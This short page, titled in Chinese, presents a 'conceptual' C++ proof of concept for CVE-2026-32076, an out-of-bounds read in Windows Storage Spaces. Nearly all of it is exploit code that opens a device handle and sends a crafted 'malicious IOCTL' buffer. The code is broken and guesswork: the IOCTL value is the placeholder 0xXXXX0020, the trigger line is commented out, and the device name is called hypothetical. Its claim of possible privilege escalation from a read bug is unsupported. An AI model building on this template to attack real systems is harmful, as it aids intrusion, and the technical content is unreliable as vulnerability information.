CVE-2026-32076 Windows存储空间越界读取漏洞

/* * PoC for CVE-2026-32076 (Conceptual) * This code demonstrates the trigger mechanism for the Out-of-Bounds Read. * Compile with: cl.exe poc.cpp */ #include <windows.h> #include <iostream> // Define the vulnerable IOCTL code (Hypothetical value based on research) #define VULNERABLE_IOCTL 0xXXXX0020 int main() { HANDLE hDevice = CreateFile(L"\\\\.\\StorageSpacesController", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { std::cerr << "Failed to get device handle. Error: " << GetLastError() << std::endl; return 1; } std::cout << "[+] Device handle opened." << std::endl; // Allocate buffer to trigger the out-of-bounds read // The size and content are crafted to hit the vulnerable code path DWORD bufferSize = 0x1000; BYTE* inBuffer = (BYTE*)malloc(bufferSize); memset(inBuffer, 0x41, bufferSize); // Fill with 'A' // Set specific offset that triggers the OOB read logic // *(DWORD*)(inBuffer + 0x20) = 0xFFFFFFFF; BYTE outBuffer[0x1000]; DWORD bytesReturned = 0; std::cout << "[+] Sending malicious IOCTL..." << std::endl; BOOL result = DeviceIoControl(hDevice, VULNERABLE_IOCTL, inBuffer, bufferSize, outBuffer, sizeof(outBuffer), &bytesReturned, NULL); if (result) { std::cout << "[+] IOCTL returned successfully. Potential crash or privilege escalation occurred." << std::endl; // Dump output buffer to inspect leaked memory if any std::cout << "[+] Bytes returned: " << bytesReturned << std::endl; } else { std::cerr << "[-] IOCTL failed. Error: " << GetLastError() << std::endl; } free(inBuffer); CloseHandle(hDevice); return 0; }